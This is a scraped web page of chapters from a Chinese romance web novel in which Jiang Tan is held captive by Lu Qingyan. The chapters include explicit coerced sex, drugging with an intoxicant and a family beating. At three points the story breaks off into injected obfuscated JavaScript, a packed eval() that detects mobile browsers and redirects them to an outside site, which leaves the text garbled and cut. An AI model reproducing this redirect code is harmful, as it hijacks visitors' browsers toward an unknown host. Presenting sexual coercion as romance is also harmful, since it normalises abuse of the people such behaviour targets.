陆青檐用力刮着她的腿根:“那你就来杀了我,给你机会,来。” 头发早就散开了,垂在桌边,快流到地上去,头上一根发簪也没有。 姜昙急促地喘息了下,脑中的思绪被冲刷地一片空白。 陆青檐好心提醒她:“你还有纤纤十指可用,刘仲青没教过你吗?挠人的滋味亦不好受。” 姜昙便伸手掐他的脖子。 在她搭上脖颈的那一刻,陆青檐顺势将她的腰身捞近。 “好姑娘,抱紧一些。” 他撩起两人的衣摆。 如此急不可耐。 不多时,细微的银铃一震,姜昙越过陆青檐的肩膀,腰间的香囊掉在桌腿边上。 她看到乌黑的长发在桌边激荡,一点一点地散开。又看到桌腿边上的香囊,被磨蹭着向前的桌腿一次又一次撞着发出轻响。 姜昙恹恹地缠在陆青檐的肩上,呼吸也跟着发颤。 混账! 姜昙揪住陆青檐的头发,生生揪断几根,听着陆青檐嘶嘶吸气,方才感觉到快意。 然而不多时,陆青檐将这一口气憋着,尽数用力回报于她身上。 63. 第 63 章 姜昙面无表情转头看他,陆青檐笑着倾身过来。 姜昙夺了杓子,舀起洗澡水扬手泼了他一脸,冒着热气的水珠从他额头滚下来,淌到下巴处。 “你不出去,我出去。” 姜昙从水中起身,赤脚去取衣服,刚拢住衣襟,陆青檐又跟过来了。 “我来。” 陆青檐接过腰带,绕过姜昙的腰际,仔细地系上。姿态做得很足,可惜他在家是一个衣来伸手的公子哥,并不懂如何穿衣,尤其是女子的衣裙。 姜昙看傻子一样看着他,最后陆青檐耐心告罄,重重在她腰间打了个死结。 他分明跟一根腰带较劲且气得不轻,还要维持笑脸,强装作游刃有余的样子。 最后,他取出自己先前绣的香囊,系在姜昙的腰间。 “我们去吃饭。” 陆青檐将姜昙往腰间看的脑袋拨回去,按着她坐在桌前,亲自给她夹菜、盛饭。 姜昙肚中空空,很快吃完了饭,只见陆青檐期待地询问:“如何?” 话语中颇有些含情脉脉的意味。 姜昙浑身不适地偏过头,含糊应付道:“一般。” “只是一般?” “……尔尔。” “只是尔尔?” “……” 姜昙忍不住停止这种无聊的对话:“我要见紫珠。” 陆青檐说:“那你陪我出去吹吹风。” 江上的风很大,看着要下雨的模样。 姜昙很想回去,可陆青檐大概是脑子有病,他被冷风吹得很开心。 分明离卧房就两步路的距离,他却不肯回去,偏生装模作样地将衣服披在姜昙的身上。 还殷声问着姜昙冷不冷,姜昙面无表情,心里很想将他推进水里去。 他不会游泳,一定沉得很快。 姜昙等不及了。 “姜妙仪!” 一道惊喜的声音自身后传来,姜昙转过身去,认出了来人。 施茂林在盐城的朋友,那位曾给她娘扫过墓的杜公子。 姜昙下意识地转头看陆青檐,此时他正一副认真打量杜公子的样子。 杜公子也看到了陆青檐,惊喜的脸变得迟疑:“这位是……” 陆青檐笑意温然,搂住姜昙的腰:“我是阿昙的夫君,我们新婚燕尔,前几日才办了喜事。” 杜公子脸上的表情一滞,来回看着姜昙与陆青檐,肉眼可见地浑身不自在:“这、这可真是、是……太突然了……” 他结结巴巴了一阵:“我出来得匆忙,身无长物,你们的贺礼……我、我……” 抬眼看到面容冷静的姜昙,杜公子脸上露出羞愤的表情,拱手离去:“在下先告辞了!” 杜公子离开后,陆青檐控制不住地低声笑出来:“是不是很有意思?你瞧他连看你一眼都不敢。” 姜昙面无表情看着他。 陆青檐笑声渐止:“若是我不在,他会对你说什么呢?” 姜昙将肩上他的衣服取下来,丢到他怀里:“我要回去了,别忘记你说过的话。” 陆青檐捧着衣服要跟上来:“我送你回去。” “不要你。”姜昙指着先前的仆妇说:“要她送我。” 陆青檐便示意那仆妇跟着,临分别又追上来,将衣服披在她肩上,在她脸上缠绵地吻了吻。 姜昙强忍着怒意推开他:“你能不能正常一些?” 这才多远的距离,像是要送到千里之外,黏糊得恶心。 陆青檐无辜地摸了摸嘴角:“晚些我再去找你,送夫人回去。” 姜昙转身进了屋子,将陆青檐的衣服扔在地上踩了几脚,重重地擦着他方才亲过的地方。 一抬眼,那仆妇正见鬼似地看着她。 姜昙脸变得极快,挂上微笑:“娘子能不能别告诉他?” 仆妇姓孙,是船老大的妻子。 姜昙将腕上的镯子、头上的发簪都取下来塞到孙娘子手里。这些都是陆青檐差人送来的,纯金子打的,沉的坠手,不适合做首饰,却正适合拿出去花销。 孙娘子一脸惶恐不敢收,连忙站远了些,时不时地偷看她几次。 看来行不通。 姜昙将那些金饰都丢在桌子上,坐在一边等紫珠。 夜幕降临时,姜昙问了不知第几次,终于等到一行人把紫珠送过来。两人相望半晌无话。 姜昙仔细打量她,除了面容略带憔悴,其余一切都好。 “姑娘。”紫珠眼含热泪,抱着姜昙委屈地痛哭。 她们身后的孙娘子往里张望,看到两人只是抱在一起哭泣,便缩了回去。 紫珠趁机在姜昙耳边低声说:“姑娘,这条船是吴江刘大人准备的,不过连同船上所有人都送给了姓陆的。” 换言之,整条船都是陆青檐的手下,难怪她们那晚行踪暴露。 恐怕紫珠刚有逃跑的念头,就教人在暗地里观察着动向报给陆青檐。 陆青檐故意放她们逃窜,其实早在船上守株待兔。 收买人心这条路行不通。 船已在江中,四处都是深水,纵然她们识得水性,一时半刻也逃不脱,只能在船上待着。 姜昙摸了摸紫珠的脸:“你瘦了,这几日好吃好睡,把身体养好是头等大事。等船靠岸,给你买岸上的炊饼吃。” 暂时不要轻举妄动,等船靠岸,再寻机会。 紫珠明白她的意思,遂点头。 忽然想起什么,紫珠瞅了一眼孙大娘,见她没注意这边,快速说:“姑娘,上次是杜良帮了我们,他也在这条船上。” 除了刘道元和陆青檐安排的人,船上竟然还有外人。 姜昙也很意外,没想到是杜公子帮了紫珠,那么陆青檐早就知道他也在船上。 只是今日才知道她与杜良认识。 方才离去时他的神色不对,不知又要去做什么。 . 忧心忡忡和紫珠吃了一顿饭的功夫,陆青檐就回来了。 他的视线有些诡异,挥退了下人们,独自在纱帐外看她。 姜昙察觉不对,让紫珠先离开,紫珠磨蹭着不想走,门外的孙大娘已非常有眼色地进来将她拉出去。 “到了安寝的时辰,不要打扰夫人和长公子休息。” 门吱呀一声被关上。 姜昙握紧手心,拼命抑制住夺门逃走的冲动。 陆青檐喝酒了。 她强自镇定着瞪了一眼纱帐后的人,斥道:“我讨厌酒味,不许过来。” 陆青檐当然不可能如她所言,忽然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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陆青檐固执地笑:“不用麻烦你多余跑一趟,他马上就来了。” 姜昙瞪大了眼睛。 果然不多时,门被敲响。 门外原本有护卫,想来都刻意被陆青檐支走了。 杜良在门口问:“陆兄?你睡了吗?今晚你让我考虑的问题,我已想好了,我不怕苦,我——” 房内传来隐秘而粘腻的动静。 姜昙死死咬着唇,眼中已被磋磨出了泪,硬是不出声。 陆青檐爱极了她这副倔强忍泪的模样,更喜欢看她的泪被撞/散成珠,眼中的神采破碎,拢都拢不紧。 “出声。” 他额角是细密的汗。 如拉满的弓,急切地朝她射出一箭,粘腻腻地开合。 姜昙终于说:“你是不是——也这么对待施茂林?” 陆青檐静了一瞬,门外的杜良早已察觉不对,匆匆离开。 “你非得在这个时候提起他?是忘不了他?还是——” 急浪连声拍打礁石。 “这样会更舒服?” 64. 第 64 章 陆青檐咬牙切齿:“姜昙,你有没有心,我都伤成这样了!” 姜昙随意往他背后看了一眼,果然看到一道又一道的鞭痕,打得他皮开肉绽。或许还吐了血,姜昙闻到他呼吸中的血腥气。 “又没死。”姜昙淡淡看着他:“养几日就好了。” 这何止是几日,少说要养半个月。 背上的伤口刺痛不已,然而陆青檐此刻又觉得,再重的伤都比不上姜昙云淡风轻的神情更伤人。 先前因被鞭打渐渐而萎靡的身躯,此刻似乎又注入了无限的生气,难以发泄出来。 陆青檐面目扭曲,去寻姜昙的唇角,他厌恶她此刻的表情。 姜昙蹙眉,扬手打在陆青檐贴近的面上,啪的一声清响。 跪着的下人将脸埋在地上,一动也不敢动。正在上药的大夫被这场面惊到,手上不小心失了力气,将陆青檐背上的血肉模糊粘着的衣物撕下来。 反应过来,连忙跪地磕头。 “滚出去!” 药箱被扔了一地,大夫连东西也不敢收拾,和陆宅的下人们连滚带爬地退出去。 室内只剩两人。 陆青檐额上青筋突突跳动着,死死盯着姜昙。 姜昙起身想走,被陆青檐扯着跌坐在床上,还未稳住身形,就被抵着腿强压在床面上。 “你真是越来越放肆了!” 陆青檐一手掐住姜昙的下巴,一手扯开她的衣襟,拿捏住她的呼吸。 姜昙低头咬陆青檐的手,却被他更加用力地用虎口卡在口中,合不上嘴也无法用力。 隔着薄薄一层中衣,他十分放肆地拧扭着。不仅如此,另一只手还要沿着腰线向下,拿捏住另一处。 姜昙闻到浓烈的血腥气,两只手用力按着他背上的伤口,鲜血汩汩渗出打湿手掌。 姜昙发狠地瞪着陆青檐,他亦不好受,浑身颤抖着却更加用力,两个人较劲一般僵持着。 这时,门外响起敲门声。 邓显听着里面的动静,估摸着此时的情况不太好打扰,可是不得不打扰:“长公子,国公爷那处来人唤你过去。” 陆青檐推开姜昙,呼吸不稳地坐在一边,对外面吩咐:“备车。” 他强撑着下床,咬牙将身上血衣脱下,背上的血痕更加狰狞清晰。婢女备好的衣服在一旁,他抖着手勉强披上,额头上冒出更多的汗来。 也不知谁这么有本事,竟能将陆青檐打成这个样子。 姜昙漠然理好衣饰。 做好这一切,陆青檐看了一眼姜昙,唤人进来。 邓显打开门,诧异地看了姜昙一眼,什么也没敢说,只搀扶着陆青檐往外走。 人影消失在门外的那一刻,紫珠偷溜进来:“姑娘,咱们也赶快回去吧,还没用晚膳呢。” 姜昙方点点头,由远而近的脚步声急促逼近,陆青檐再次出现在门外,面上的表情恶狠狠的。 他大步走进来,不由分说握住姜昙的手腕:“你跟我一起去!” . 已是深夜,外面寂静无声。 马车驶在街道上,车外是随行的马蹄嗒嗒作响。 车内两人无话,陆青檐闭目养神,手上却不放开,还紧紧地握着姜昙的手腕。 下车时,邓显守在门外不入内,偷偷塞给姜昙一个小瓷瓶,还笑着做了个双手合十的姿势,请求的意味十足。 陆青檐依旧不放开手,姜昙有些恼:“国公爷深夜寻你,想来有急事与你私下说,你非拉着我进去做什么!” 陆青檐的眼神含着怒意斜过来,用力将她扯进去。 陆青檐一进门遇到小厮,也并未找人带路,只抢了一盏灯笼照亮,甚至连问都不曾问一声,就直直朝着某个方向行去。 看来陆国公与他父子两人,以往常在老地方约见。 陆国公已等候多时。 约见的地方有些奇怪,竟是陆家祠堂,和扬州陆府一模一样的地方。 姜昙的疑惑刚上心头,却见祠堂内陆国公背着的身体转过来,锋利的视线射在两人交握的双手上。 陆国公脸色阴沉了一阵,看着像是要发怒的样子,片刻后恢复平静,道:“进来吧。” 陆青檐手握得更紧了,抓得姜昙有些疼。 两人一前一后地进去。 刚踏进祠堂,姜昙就觉得遍体生寒,祠堂里齐齐站着几个孔武有力的家丁,手持乌木刑棍候着。 这对父子深夜不是来谈心的,而是来上家法的。 “跪下!” 陆国公语气陡然严厉。 陆青檐神色自若,站着不动。他还有闲心用指甲作乱,不轻不重地刮着姜昙腕上的疤痕。 一片死寂。 陆青檐抬头,看着陆国公说:“不跪。” 陆国公怒极反笑:“好,去了扬州一趟,气性长了不少。” 陆国公一挥手,两个小厮向后走去,祠堂的大门被咯吱咯吱合上,发出沉闷的声响。 姜昙被这声音吓了一跳。 她还未反应过来,一声击破风声的重击传来,沉闷地打在陆青檐的膝弯处。 陆青檐眉间一蹙,又强撑着散开。他只是身形一歪,并没有立刻跪下去。 姜昙发觉手上重量变大,陆青檐撑着她的手,竟还想借力站起来。 她也不知怎么想的,手上下意识地撑着。然而国公府小厮的手更快,在陆青檐挣扎时又是一击。 这一次,他结结实实跪了下去,膝骨要砸碎似的,整个人也向前扑去。 好在姜昙及时扶了他一把,虽被他带着坐下来,却避免了先前那副狼狈的模样。 陆国公坐在太师椅上,看见儿子这副半死不活的样子,心中十分痛快,讽刺说:“陆长公子如今身份不一般,连我轻易也请不来你,要让下人三催四请才赴一次。怎么,国公府容不下你,要去尚书府给人家做儿子?” 陆青檐平息呼吸,态度忽然软了下来:“父亲说的哪里话,我是您唯一的儿子,您是我唯一的父亲。要不是您,我早就死了不知好几回了。” 陆国公冷哼一声:“你还知道是陆家给了你这条命!你又是怎么回报的?老家的人来信说,你一回家就闹得鸡犬不宁,几次将你祖母气得卧病,至今还没好。还有你的兄弟岁锦,我不是与你说过,无事不要出现在他们面前,为什么总是去碍眼!” 陆国公指着姜昙:“你瞧瞧你现在成了什么样子?家里来信时我还不信,你竟真的将扬州的妓子带回家里来风流!” 姜昙的手指蜷缩起来。 她知道这时候不该说话,争一时之气也无用。 陆青檐咧嘴笑了笑:“谁写的信?” “问这个做甚?都是你的长辈,你还想以下犯上报复不成?” 听见长辈二字,陆青檐忍不住笑了一下。 陆国公眉毛直竖,一看见他这副模样就来气:“给我打!连同这个妓子一起打死!” 姜昙并没有感受到疼痛,因为在木板落下的前一刻,陆青檐已将姜昙拥紧在怀里。 背后袭来的木板甚至荡起了风,愣神之际,姜昙看到陆青檐的头发被那股风刮起来,扑在她的面上。 木板咚咚地砸在陆青檐的背上,那是与他脊骨相撞的声音。 姜昙浑身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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被戳中痛脚,陆国公眼中冒火:“那你呢?汤指挥使的公子是不是你伤的?全京城都在传你是凶手,你要我的脸往哪搁,以后如何在朝中做人?首辅已训诫过我好几次,话里话外都在提你的不是,往后整个陆家都要教你带入万劫不复之地!” 陆青檐说:“那父亲可以将我逐出族谱,挑一个喜欢的儿子过继。” 一杯热茶泼在陆青檐面上。 像在扬州陆家时那样,他只是垂着眼,茶水像檐角的雨水那样流下来。 “你以为闫尚书就是好父亲?整日像狗一样巴巴地跑过去要骨头,人家可曾高看你一眼?他可不缺儿子,挥挥手一群儿子跪着孝敬,你不做好好的人,偏要觍着脸和奸佞混在一起!” 陆国公怒气冲冲离去。 走时让下人带走了所有的灯,只留下牌位前微弱的一盏,而后锁上门。 陆青檐在夜里目不能视物,若有一丝光,能使他眼中有些影像却又不至于看清楚。 姜昙曾听说过,这样于不能视物之人而言,无异于折磨。 陆国公的手段拿捏得极为熟练精准,如何对付陆青檐,他约莫也教过扬州陆家的老祖宗。 陆青檐佝偻着身体,浑身颤抖着。睁着眼睛,死死盯着牌位前的一抹光,像是黑暗中畏光蛰伏着的山间野兽。 姜昙把邓显给的小瓷瓶放在他面前,丝丝药味飘出来。 邓显有先见之明,这里面应是伤药。 陆青檐冷不丁问:“你怕什么?” 姜昙才发现自己手指在颤抖,强自镇定说:“我怕什么?这本来就不关我的事,若非是你强硬将我带过来,我现下应是好好地在睡觉。难道你指望我感恩于你吗?” 陆青檐吐了一口血,喘息着说:“我也不曾说关你的事……” 手上的力道加重,他一刻也不曾放开她的手,如同坚硬的锁链一般。 65. [锁] [此章节已锁] 他身后跟着一群人,邓显,刘武,还有许多不认识的护卫,身着深衣,几乎隐蔽在黑夜中。 第一日他不在,第二日也不在。 偏偏在她突然生起逃跑念头的第三日,偏偏在此时此刻,陆青檐回家来了。 姜昙动弹不得,原本想要飞奔起来的双腿,此刻却只能僵在原地,看着陆青檐越来越近。 姜昙听到自己开口:“你怎么在这?” 陆青檐往后看了一眼,矮墙的隐蔽处有一个拱门,他们是从那里出来的。 “隔壁这院子,也是我的。” 竟然是这样。 姜昙看到刘武还是那副没有表情的样子,邓显嘴角似笑非笑。 陆青檐神色如常地走过来。 他捻起她头上的树叶,摸了摸她的脸:“怎么穿这么少?不冷吗?” 片刻后,姜昙反而冷静了下来,被发现又能怎么样呢? 她淡淡推开陆青檐的手:“不冷。” 陆青檐固执地握上来,牵着姜昙往寝院走,不多时,就看到石子路另一端等候的双双。 看到两人走来,双双连忙跪地,臂上挽着的竹篮摔落在地上,却是空的。 陆青檐看也不看她:“夫人一个人在园子里吹风,你躲去哪里了?” 双双便抖着声音把事情原委说了一遍。 陆青檐斥道:“说谎!” “奴婢没有说谎。”双双道:“夫人说要假山石旁的花,可奴婢眼神不好,没有在那里找到任何花。” 姜昙不说话。 让双双去摘时,她根本没说明什么花,因为她根本不记得哪里看到过什么花,只是随口一说。 陆青檐的眼神双双身上停留一瞬,游移到面容不安的紫珠身上。 刚到京城时,他也是用这种眼神看着那个私自放人上船的仆妇,面上没什么情绪,下一刻就狠心叫人处置了她。 姜昙的手指紧了紧。 陆青檐察觉到动静,低头看了一眼两人相握的手掌:“怎么了?” 姜昙的唇色有些抖:“我冷……” 陆青檐笑了笑,将她抱起来。他的动作有些急切,姜昙在半空中往后一倒,慌得抓住他的衣领。 “回去就不冷了。” . 假山石没有花,园子里的花房却有很多花。 双双将整个花房里的花瓣都采摘下来,厚厚地飘在浴桶的水面之上,像江水中不化的雪。 浓郁的香气随着热意蒸腾起来,像是从肌肤里的毛孔中散发出来的。 陆青檐的胸膛紧紧贴着她,近得能听到两人的心跳,听得久了,好像在一起跳动。 他的手指在她心口打转,面上神情悠然,好似在不紧不慢地作画。 一边说着:“有许多人想我死,可我偏偏没死。想要弄死我,锦衣卫手里的证据还不够,而且皇上更信我……” 他断断续续说着,偶尔停下不知在看什么。 姜昙被作弄得难受,有些想躲,手臂撑着床面想下去,又被他握着腰扯回来。 “好香……” 陆青檐埋在她锁骨处嗅了嗅。那是方才花的香味。 姜昙看到他散乱的中衣,才想起那是什么花。 荼靡。 宋庸最喜欢的荼靡花,绣到了衣服上,到现在也喜欢着。 也不知这样的天气,花房里是怎么培育出来这么多荼靡花的。 肌肤被啃噬着,他咬了一口,复又吐出来,又咬了一口,再吐出去…… 姜昙被他折磨得无所适从,闭眼死死抓住床褥:“酒……酒呢?” 她想要之前的那种酒,行事前喝的晃月香。 先前她不愿意喝,现下却主动要喝。而先前他逼着她喝,现下却不想让她喝了。 有些事,还是清醒些做着好。 他停下来,一手将她的手抓回来,一手抽衣带,抽完了她的又抽自己的:“只是圈地这事有些棘手,不过也不难办。我对皇上说,那处地有龙气,上疏为荣王请封修祠——” 他不赞同她曾经说的话。 人本来就是动物,穿上衣服才像衣冠禽兽,不如脱了衣服,做一对坦荡荡的禽兽。 他用力沉下身。 姜昙蓦地睁眼,瞳孔中的神采一聚,又猛地散开。 她第一次清醒地察觉到痛意。 并不是十分的痛意,严密而紧实,沉沉的重量压着心口,让人有些喘不过气。 她慌张地伸手,胡乱摸着榻边的小几,什么都没有。以为自己找得不仔细,于是又找了一遍。 “……找什么?” 他的手寻过来,与她十指相扣。 “酒……” 她还是想喝,陆青檐按下她的手:“不许。” 姜昙只好侧过头去。 陆青檐喜欢点灯,尤其这时会点很多的灯,让她觉得置身于被人窥视的环境中。 姜昙怕得紧,迫切想逃避,他不想放过她,又将她的脸拨了过来。 姜昙眉头紧紧蹙到一处,浑身紧绷着。 “别怕。”他亲吻着哄她:“不要那么紧张,松一松,很快就好了。” 然而陆青檐说的是假话,忍了许久都没好。 姜昙看到墙上光影起伏晃动,很像想之前那样睡去。 晃月香还是有一点点好处的,好似能加快时间的流速,让这个过程不那么难熬。 可眼下没有晃月香。 “轻些。”陆青檐嘶嘶吸着气:“我背上的伤可还没好。” 他胸前还颤着绷带,晕湿了一片血迹。 姜昙的手指抠得更用力了。 “非要这样……好,你等着。” 这一句像是什么开始之前的提醒,墙上的光影像是被疾风推着,猛然颤动起来,愈演愈烈,却始终不灭。 姜昙的心跳被揪紧,绷着的那口气终于散了。 不知何时睡了过去,却并未一觉至天明。夜半时有人喂了她一口水,约莫是陆青檐。 汗湿的头发粘腻地沾在嘴角,被他用手拨开。 他又上榻来,与她汗涔涔地抱在一起:“方才你沐浴时,双双与我说,这几日你忧心我,整日睡着不醒,夜里又睡不着,这样可不好……一个人无聊么,我明日寻些人来陪你玩?” 姜昙困倦不已。 这屋子里热的很,陆青檐身上更是热到滚烫,他莫非还高烧着?偏不离远点,非要来热她。 姜昙往里避了避。 “嫌我吵?” 陆青檐像苍蝇一样追过来,语中含笑:“还是嫌我热?你不是冷吗,我是奉命来暖床的。” 他搂住她的腰,牢牢地扣在怀里。 就算嫌他热,两人也要化在一处。 . 翌日,姜昙又是很晚才醒来。 陆青檐不在,双双自动过来汇报说是他出门有事要办,不知又去做什么勾当。 慢吞吞地咽下早饭,姜昙再吃不下去一口,让人撤下去。 正打算睡个回笼觉,双双禀报:“外面几位官家夫人来给夫人请安,夫人想什么时候见?” 姜昙这才想起陆青檐昨夜说的事,他竟真的找来这么多人。 可姜昙没有兴趣:“让她们回去。” 紫珠耳语:“可是姑娘,她们已经在外面候了快一个时辰,陆家的人连把椅子都不给递,生生让人站着!意思是不见你就不走!” 姜昙犹豫片刻:“那就请她们坐下喝茶好了。” 喝药送客。 双双眼疾手快地给姜昙披上外衣:“亭子里已安排好了茶水点心,花房里正巧有新培育的花种,夫人可在那里一边赏景,一边同各位夫人说话。” 显然是早就准备好了,只等她动身。 姜昙只好去亭子里见那几位夫人。 这几人比她大不了几岁,人人一副真诚的笑脸,站了这么久也没有怨言,见了姜昙便争先恐后地问好。 姜昙微笑不语。 一个不知是姓卢还是姓张的夫人,叽叽喳喳地挨着姜昙说话。从京城时兴的衣料样式,聊到胭脂水粉、簪钗镯环。 女人之中最炙热的话题被她挑起来,一群女人都跟着议论纷纷。 稍后又有一位夫人聊起京中趣事,谁家的儿子在青楼风流,谁家的小姐嫁了个好人家。只是提起一个人名,就能扯出一连串的奇闻。 姜昙并不加入,只沉默听着。 话题终于扯到了她身上。 一位年轻的夫人说:“陆大人近日深得皇上恩宠,年纪轻轻就前途无量。夫人好福气啊!” 另一位立刻插嘴:“若是夫人再为陆大人添上一儿半女。三口之家,其乐融融,岂不美哉?” 说着,几人笑成一团。 最终发现起哄的中心人物并没有反应,笑声逐渐消失。 几位夫人面面相觑,不知在眼神交换着什么。 姜昙终于坐不住,站起身来:“我去更衣,稍后就来,诸位夫人请随意。” 她在池子边寻了个隐蔽的位置坐下,刚好有颗石头挡住她的身影。 姜昙放松地吐了口气。 身后有交谈声传来: “跟她说话已是瞧得起她,可你瞧她神气的样子!不愧是小地方出身的女人,难怪看着就一身穷酸气!” “你与她计较做什么?从没听说国公府新迎了媳妇儿,估摸是外面带回来的。听说陆大人前些日子去了趟扬州,说不准就是船上的瘦马。只是一时宠爱,连妾也不如。” “人家还真当自己是陆夫人呢!” 交谈声压低:“如今宫里那位当初也纠缠过一阵……那位他都看不上,别说这个了……” “……” 紫珠气得握拳:“姑娘,我去狠狠骂她们!” 姜昙按住她:“为什么要骂她们?她们说的是陆青檐,不论住在这里的是谁,她们都会议论,不是我也会是其他人。我们本来就想离陆青檐远远的,你若是骂她们,岂不是上赶着与他牵扯在一起吗?” 紫珠一惊。 在这里才没几日,她好像已被这宅子里的风言风语给推动着改变了。 原本是不屑姓陆的,现在却想去争,下意识就承认了姑娘作为陆夫人的身份。 被姜昙点醒后,紫珠出了一身汗:“姑娘,这里太可怕了。” “不用管她们怎么说,不用理会就是。”姜昙摸了摸她的脑袋:“非要理会,就让人赶她们离开。” 入夜陆青檐回来,先是去洗了澡,随后带着一身水汽贴近。 “怎么不高兴?” 他探查人心的感觉可真敏锐。 陆青檐将姜昙的身体拨过来,一手撩起她的额发,一边仔细地看她。 “最近可有什么人惹你不高兴?” 他似乎意有所指。 回答是会怎么样,回答不是又会怎么样? 姜昙怔怔看他,有些不敢动。 有时陆青檐的直觉精准到令人心惊,她生怕被他看出来更多。 姜昙连呼吸也放轻了:“我没有不高兴,只是有些困。” 陆青檐看了眼时辰,那是西洋来的钟,一到时辰就铛铛地响,如今却还没有响。 “还早着,不到睡觉的时辰。” 他将她从床上拉起来,拽到一旁的书案前坐着:“陪我说说话,免得半夜梦醒。” 姜昙坐立难安。 撑着椅子想要出去,被他强硬地按着腰,浑身僵硬地挤在一张椅子上。 陆青檐神色自若,一手圈着她,一手在桌上翻拣,他尚有闲心挑书来看。 “找到了,这本最好。” 他熟练地将书页翻开,显然已看过很多次,姜昙一个字都看不进去,盯着那座西洋钟出神。 滴答,滴答。 沉静之中,陆青檐忽然出声:“我听说了白天的事。” 他的下巴搁在她的肩上,边翻书边说话,语气很是诚恳:“是我不对,这几日太忙,安排得仓促,没有料理好。” 姜昙被他轻飘飘的“料理”二字惊得坐直起来。 “别动。” 他在耳边隐忍说道。 姜昙这才发现他翻的是一本春宫,精描细述,看起来和正经书没什么两样。 “你!” 姜昙慌张地扑腾起来,陆青檐箍住她将她抱到腿上压紧,一面扬声道:“进来——” 姜昙登时不敢动了。 此刻两人的姿势就像一对亲密些的寻常夫妻,外表看上去没什么不对。 故而推门而入的紫珠和双双只是看了一眼,就低下头去。 紫珠推门后便在门口站着,双双端着一碗褐色的汤进来,恭敬奉在桌上。 陆青檐舀了一勺,吹散热气,递到姜昙唇边,是正好的温度。 “来,安神汤。” 姜昙将脸偏到一边。 “我问了宫中太医,还加了补身子的药,可以助你安睡,还……总之喝了对你没有坏处。你是懂药理的,不信自己闻。” 她当然闻得出来。 一部分是安神常见的药,另一些还需要时候才能辨得出来,或许是宫中的什么药,姜昙没有心思去认。 安神的方子她往日用过许多,根本不起作用,反而更加严重。 姜昙不想喝。 陆青檐突然逼她喝药,她忍不住想,他又在盘算什么。是知道了她之前要逃跑的事,故意引而不发,像猫捉老鼠一样吗? 陆青檐说:“太医说喝了这药需要静养,你喝了我就不动你。” 闻言 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14253821|142961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,姜昙毫不犹豫抢过碗喝尽,徒留陆青檐举着羹勺,手停滞在半空中。 双双的脑袋越来越低。 长公子约莫是想夫妻间温情脉脉,一个喂一个喝,还特意备了蜜饯。许是还设想了夫人嫌苦不肯喝,做好了哄她的打算,却不想事情大大出乎意料。 空碗被放回盘中,不多时羹勺也被丢了下来,嗒的一声。 “下去。”不辨喜怒的声音。 双双听得一声吩咐,悄无声息退去,把不愿意走的紫珠也强拉下去,关上房门。 不多时,房内传出什么东西落地的声音,伴随着一些断断续续、听不分明的动静。 “你方才说过的……” “当然是骗你的。” 长公子的笑声:“笨,不知道男人的话不能当真吗?” 书页徐徐翻动,停在一页。 “这个好不好,我们也该试试新的。” “滚!” 半晌,一声隐秘的呜咽。 紫珠站在房门不远处,浑身僵硬。双双将她拉过来,在门口坐下。 府里年长的嬷嬷说过,长公子还年轻,往后有得折腾,这些动静她们得尽快习惯。 就连夫人也迟早得习惯,就算不习惯,长公子会亲自教的。 . 夜半,姜昙猛然从床上坐起来。 陆青檐察觉到动静,也跟着坐起来。看到姜昙一头汗涔涔,茫然无措地盯着虚空。 姜昙并不说话,死死地掐住脖颈。 陆青檐立时就清醒过来—— 姜昙又开始了,像前几日夜里那样。 他将姜昙的手拿下来,她又固执地放上去,力气大得不成样子。 她难道要掐死自己不成? 陆青檐沉着脸将她的手指一根一根掰开,为防止她再次捂上去,强硬地撑开她的指缝,将她的手放到一侧。 “没事了。” 陆青檐来回抚摸着她的头发,将姜昙抱在怀里,察觉到她放松下来,才拉着她睡下。 这不是陆青檐第一次见到她这样。 姜昙的症状早有端倪,初时只是夜里忽然醒来,推他的手。 当时陆青檐只将她拥紧睡去,后来才发现,她或许无知无觉地睁眼到天明,才忍不住睡意睡去。 当时他并无察觉。 然而几日前的一次,她不知什么时候坐起来,怔怔看着一处,不知在看什么。过了许久他才发现,将她塞进被子时,浑身都是冷的。 接下来的两日,公务忙过去,陆青檐有空待在府里。 他仔细观察了姜昙的模样,白天她仍旧是那副淡淡的模样,除了看到她时眉眼一颤,脸色变得冷了,和以往一样没有异常。 陆青檐在她身边坐下:“你还记得昨晚发生了什么吗?” 姜昙想到昨晚,脸色沉下来:”不记得!“ 她只想离他远远的!他坐着,她就要走! 陆青檐拉着她的手坐下,一寸一寸打量她的神情……是真的不记得。 醒来之后,姜昙似乎全然不知自己夜里的所作所为。 后几夜安睡,再没有出现和那晚一样的情况。 他便将那当作偶然。 然而几日后的一晚,那夜的情况又开始了。 陆青檐不得不去宫中问了太医。 听完他的描述,那白胡子战战兢兢地开了方子:“似乎是受到了什么惊吓……平日里要多看顾些,保持心情舒畅,切勿挂心闲事。” 用的都是最好的药,结果竟不起作用。 明日得再去宫中一趟,非得把那群尸位素餐的庸医断手短腿不可! . 陆青檐取了灯来看。 姜昙面上的表情很痛苦,满头大汗,手掌仍是牢牢地掐住脖颈。 他将她的手指掰开,在她重新放回去之前用手掌挡住脖颈。姜昙的手用力捂紧,陆青檐的手被压下去,掌心一道扭曲的痕迹如有实质。 陆青檐一怔,随即死死地盯着姜昙—— 他知道那是什么了。 姜昙不是要掐死自己,而是以为自己被人割开了喉咙,所以在用力捂住出血的位置。 那是三年前吴江死牢里他弄出来的。 当时他是真的想拉她一起死,所以伤口也是几乎致命的。 “姜昙?” 姜昙没有醒。 陆青檐强硬着把她的手压下去,紧紧抱住她,心中不知是恨意还是痛意。 